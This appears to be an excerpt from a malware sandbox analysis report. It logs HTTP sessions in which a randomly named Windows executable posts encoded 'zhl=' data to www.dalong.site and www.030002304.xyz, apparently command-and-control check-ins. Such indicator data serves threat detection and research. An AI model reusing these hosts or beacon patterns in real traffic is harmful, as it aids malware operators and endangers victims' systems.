Nov 5, 2024 15:24:33.551889896 CET	10895	OUT	POST /s20z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.dalong.site/s20z/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 44 6e 33 4e 51 6d 39 7a 41 33 4c 4a 63 38 4b 64 64 68 65 69 4b 4b 72 35 4b 69 7a 33 65 67 77 42 59 71 52 6b 2f 50 2f 65 4b 57 6e 33 49 4d 64 72 4f 36 45 7a 38 43 72 41 73 50 64 4e 38 6d 70 67 47 31 79 6d 44 76 79 51 4b 44 4a 63 2f 55 7a 64 55 45 71 79 45 74 62 50 71 79 73 44 6e 34 50 33 5a 76 77 50 71 4e 45 52 74 70 49 46 6b 31 70 51 34 65 72 56 78 2f 63 2f 39 4e 4c 34 2f 33 42 47 77 39 69 38 70 74 52 6f 78 41 72 33 6a 59 43 47 63 55 75 44 2b 69 6b 2b 4f 54 42 59 36 30 6c 64 58 6e 56 74 70 67 51 32 71 75 45 71 67 32 46 36 51 47 2b 42 71 6f 68 5a 42 48 6c 63 73 44 78 4f 58 74 4c 70 4a 49 79 59 69 6e 34 51 52 62 4f 46 6c 41 58 74 2f 43 70 4f 64 46 4f 59 6b 64 52 36 31 4c 49 77 5a 73 43 61 2b 6f 30 33 30 61 50 4e 73 6b 78 48 37 77 54 55 61 73 53 79 5a 7a 78 73 59 67 6e 42 43 53 69 50 50 6b 4e 46 4d 46 6f 54 2f 69 6c 73 2f 49 74 78 52 31 6b 33 61 49 78 42 73 68 47 30 4a 41 67 58 43 61 32 7a 75 31 6e 6b 6e 77 45 4e 50 2f 58 4c 30 36 6f 73 62 48 76 50 4b 6d 6b 62 55 31 31 7a 32 45 61 56 66 63 [TRUNCATED] Data Ascii: zhl=Dn3NQm9zA3LJc8KddheiKKr5Kiz3egwBYqRk/P/eKWn3IMdrO6Ez8CrAsPdN8mpgG1ymDvyQKDJc/UzdUEqyEtbPqysDn4P3ZvwPqNERtpIFk1pQ4erVx/c/9NL4/3BGw9i8ptRoxAr3jYCGcUuD+ik+OTBY60ldXnVtpgQ2quEqg2F6QG+BqohZBHlcsDxOXtLpJIyYin4QRbOFlAXt/CpOdFOYkdR61LIwZsCa+o030aPNskxH7wTUasSyZzxsYgnBCSiPPkNFMFoT/ils/ItxR1k3aIxBshG0JAgXCa2zu1nknwENP/XL06osbHvPKmkbU11z2EaVfc2bPqV0k2LFuZFkUWvAURekMqTs62mqcfWZAuFlIrGsiSDbl0MDRhYiqjpo16iioSEMMAXabx6Ld3/yFvO0t7wnmYFVB0bkA0Ou6rVcv3lH/rF8ggzw2emvbDJK0RAakTMNuK6/MCAv5uAFFyGkrCHWCKzPQ7zZUIdqmrWluWyHjjIUcEqszqRdwQum8DkThLA+60433s2GDR1ne5VOSYPrnClpuX7I1LZwzbftWQH+/eYeBNJ5QIwgv8Lp5QK6OhWXIz+//eifcEDOFWPS0/ZiiNnkEG05nnag5WND2990Vg8vfQwq2fuwkDDAdY4m2XKDfQ2z0CDAWlbuuYFXhqONQYQM6qbJU+swwIV7Qy4FTxbUSAL4XmUHzLHAVIPmSjp4PnAnVODzaiIqowfFOKzOGcZObDB/IAdy1s/vEwJYtR951q08cisXb0Ft+ERpvFaDRn5SBTipRh1No4VElSVETF7C/1ukKMMDyfKeGoQ6h90rqWjFoYcQbskcnZVCMNM5rGZ4Rj0yqfVfC7Jr9Zi0LnxUumrhadbob9jfiyFJUnblndXBSQORLBz5ScgGCZiRatHfyG5VkubH74LTyv0KahYxzni16GAwzGTfZrDw2PhUhcemR6Rt3yxr2Wn1GCKdMFJzkKWjY4rxTIun9Z39ni8PSUEkR/3g [TRUNCATED]
Nov 5, 2024 15:24:34.222491980 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 05 Nov 2024 14:24:34 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	55743	172.96.187.60	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:36.092660904 CET	536	OUT	GET /s20z/?zhl=OlftTQ9hFz7OT6WFYxCuNpq7ExDWc0YdDdpK6+ifbkXRCNh9PINbo2rFvrFH3ENsTzWiAtX7VHJc4HngX2meKMfLmgA8ppz9ceAA4uFOpb8+rhwBxtyr4dg=&X8Rx1=znhhIbB8nN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dalong.site Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:24:36.741720915 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 05 Nov 2024 14:24:36 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	55744	161.97.142.144	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:41.957206011 CET	799	OUT	POST /jkxr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.030002304.xyz Origin: http://www.030002304.xyz Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.030002304.xyz/jkxr/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 71 64 78 47 72 48 44 2f 61 62 53 39 34 41 4e 73 34 70 62 45 77 52 50 6e 2f 61 39 69 58 71 61 4e 6b 38 47 6b 50 6f 64 6a 33 62 6a 58 53 32 6d 54 47 6d 5a 32 2f 36 38 43 6b 52 6d 31 51 48 36 52 74 6f 4e 72 47 46 39 73 61 33 2b 6d 64 4f 55 35 41 68 30 6e 35 68 6d 7a 45 48 4a 61 4c 55 4d 31 6a 77 41 72 59 32 39 58 42 53 4c 4d 61 4d 43 33 76 64 37 63 74 6e 49 6c 46 65 4d 7a 46 72 71 2b 79 66 67 76 4f 7a 7a 37 72 42 65 4e 77 54 54 4a 65 77 4a 4d 56 5a 4a 38 4c 38 66 39 73 4d 4f 4b 78 36 6a 6b 48 72 62 74 4d 79 49 6a 63 74 59 37 78 52 56 61 68 35 35 56 47 46 41 45 73 51 78 4e 44 67 3d 3d Data Ascii: zhl=qdxGrHD/abS94ANs4pbEwRPn/a9iXqaNk8GkPodj3bjXS2mTGmZ2/68CkRm1QH6RtoNrGF9sa3+mdOU5Ah0n5hmzEHJaLUM1jwArY29XBSLMaMC3vd7ctnIlFeMzFrq+yfgvOzz7rBeNwTTJewJMVZJ8L8f9sMOKx6jkHrbtMyIjctY7xRVah55VGFAEsQxNDg==
Nov 5, 2024 15:24:42.789812088 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 5, 2024 15:24:42.789833069 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	55745	161.97.142.144	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:44.715219021 CET	819	OUT	POST /jkxr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.030002304.xyz Origin: http://www.030002304.xyz Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.030002304.xyz/jkxr/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 71 64 78 47 72 48 44 2f 61 62 53 39 35 6a 56 73 36 4b 44 45 68 78 50 67 6a 4b 39 69 59 4b 61 4a 6b 38 36 6b 50 73 4e 56 30 74 7a 58 53 57 57 54 48 69 46 32 38 36 38 43 75 78 6e 2f 50 58 36 50 74 6f 4a 53 47 48 70 73 61 33 71 6d 64 4d 4d 35 41 32 67 34 34 78 6d 39 4d 6e 4a 63 50 55 4d 31 6a 77 41 72 59 32 70 39 42 53 7a 4d 61 2f 61 33 76 38 37 64 6e 48 49 6d 56 2b 4d 7a 54 62 71 36 79 66 67 64 4f 79 75 65 72 44 32 4e 77 57 76 4a 65 68 4a 50 66 5a 4a 36 45 63 65 38 74 38 6a 39 6f 36 32 62 4f 6f 66 55 52 32 51 51 5a 72 4a 68 67 67 30 4e 7a 35 64 6d 62 43 4a 77 68 54 4d 45 59 6a 41 48 64 54 38 66 7a 77 31 6e 38 78 5a 31 73 44 76 73 66 59 45 3d Data Ascii: zhl=qdxGrHD/abS95jVs6KDEhxPgjK9iYKaJk86kPsNV0tzXSWWTHiF2868Cuxn/PX6PtoJSGHpsa3qmdMM5A2g44xm9MnJcPUM1jwArY2p9BSzMa/a3v87dnHImV+MzTbq6yfgdOyuerD2NwWvJehJPfZJ6Ece8t8j9o62bOofUR2QQZrJhgg0Nz5dmbCJwhTMEYjAHdT8fzw1n8xZ1sDvsfYE=
Nov 5, 2024 15:24:45.556924105 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 5, 2024 15:24:45.557122946 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	55746	161.97.142.144	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:47.309850931 CET	10901	OUT	POST /jkxr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.030002304.xyz Origin: http://www.030002304.xyz Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.030002304.xyz/jkxr/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 71 64 78 47 72 48 44 2f 61 62 53 39 35 6a 56 73 36 4b 44 45 68 78 50 67 6a 4b 39 69 59 4b 61 4a 6b 38 36 6b 50 73 4e 56 30 74 37 58 53 6c 75 54 47 44 46 32 39 36 38 43 77 68 6e 38 50 58 37 54 74 73 6b 61 47 48 6b 62 61 78 6d 6d 63 76 45 35 56 33 67 34 78 78 6d 39 4f 6e 4a 64 4c 55 4d 61 6a 77 51 76 59 32 35 39 42 53 7a 4d 61 2b 71 33 70 74 37 64 68 48 49 6c 46 65 4d 2f 46 72 72 64 79 62 30 6e 4f 79 72 72 72 53 57 4e 77 32 66 4a 62 54 68 50 54 5a 4a 34 49 38 66 76 74 38 76 69 6f 36 72 6f 4f 72 44 79 52 78 77 51 55 65 45 37 31 45 41 54 68 36 56 67 4a 42 35 51 76 78 77 76 44 79 45 30 4f 52 31 44 74 7a 35 37 35 43 77 46 38 68 44 38 4b 63 43 75 4d 6c 57 66 32 57 34 76 56 6f 67 70 69 34 6d 65 2f 59 79 4c 6e 51 4d 52 50 52 77 47 6f 35 56 77 61 53 43 45 76 50 76 74 67 64 7a 77 55 48 32 4e 49 70 61 52 56 4b 55 52 34 30 50 70 37 2b 4f 47 31 33 49 59 74 42 78 76 44 64 31 42 54 5a 31 62 42 32 52 65 55 33 5a 75 75 6d 52 55 52 6c 44 7a 32 49 76 75 38 48 47 35 4e 61 39 6f 46 4c 32 34 64 4b 6b 34 78 73 [TRUNCATED] Data Ascii: zhl=qdxGrHD/abS95jVs6KDEhxPgjK9iYKaJk86kPsNV0t7XSluTGDF2968Cwhn8PX7TtskaGHkbaxmmcvE5V3g4xxm9OnJdLUMajwQvY259BSzMa+q3pt7dhHIlFeM/Frrdyb0nOyrrrSWNw2fJbThPTZJ4I8fvt8vio6roOrDyRxwQUeE71EATh6VgJB5QvxwvDyE0OR1Dtz575CwF8hD8KcCuMlWf2W4vVogpi4me/YyLnQMRPRwGo5VwaSCEvPvtgdzwUH2NIpaRVKUR40Pp7+OG13IYtBxvDd1BTZ1bB2ReU3ZuumRURlDz2Ivu8HG5Na9oFL24dKk4xsSF32GEknBWGY3IAM5EuriO5myfxqmBMxINJLhAXYdcxTiicNp0y54hYhTZt28OIeFSNZ6/mZ3LU1IuyTOdnGfBYeefI6GbUHPfLaWl7cHmSRvwn4W8kMlzKUyf5wKdz0qKfGmKsKCix4/CC44Xl+TQ+urrVYorcAkJrys9a8h7sblzk6r2Y/ooxlrm+aVJnazFvqUQYt8kuZcizy8kJz3vQAGLECtIvxI1EIJDNumGHTZadX3ny77z0bLcB6oYBF+sUni7ymwwBA3dapr/XnmAhLWXieXoU1m601OMjEXe3mMItuYDorD5/JwrKy2guqxVbnZjcHCoBBu1j5hZzw0inxeahZKFY/cO2nTvXXhuH5q1QSVXskWQz/2uTPSOzIQwbTHO5FAr8CCTfY5nspa3vuWfbPTYWsdHelscjb8yqiwqiqH+G9igxW2/ZZeF02hovCp9mvWSLkDDgk/8SuvLMQrslnKvAgno3WI2XdJfVVZOYAvvi1dagOwOQndYEytE1jrHW3cOxnb4l3XiTnR9/OhPunLYv9nxda5SmvylLbTIbPdCFRlIHymHQatiEDdLGWuStZqI5soFp8nRBSpugEs39ZXnk+FspBNgEhhtw3+1Zj+uPYAJvYX9JOJPuvjtlGTPgyGUCbyg+1fGfRQ5FZbislzg4P2I [TRUNCATED]
Nov 5, 2024 15:24:48.166568995 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 5, 2024 15:24:48.166595936 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
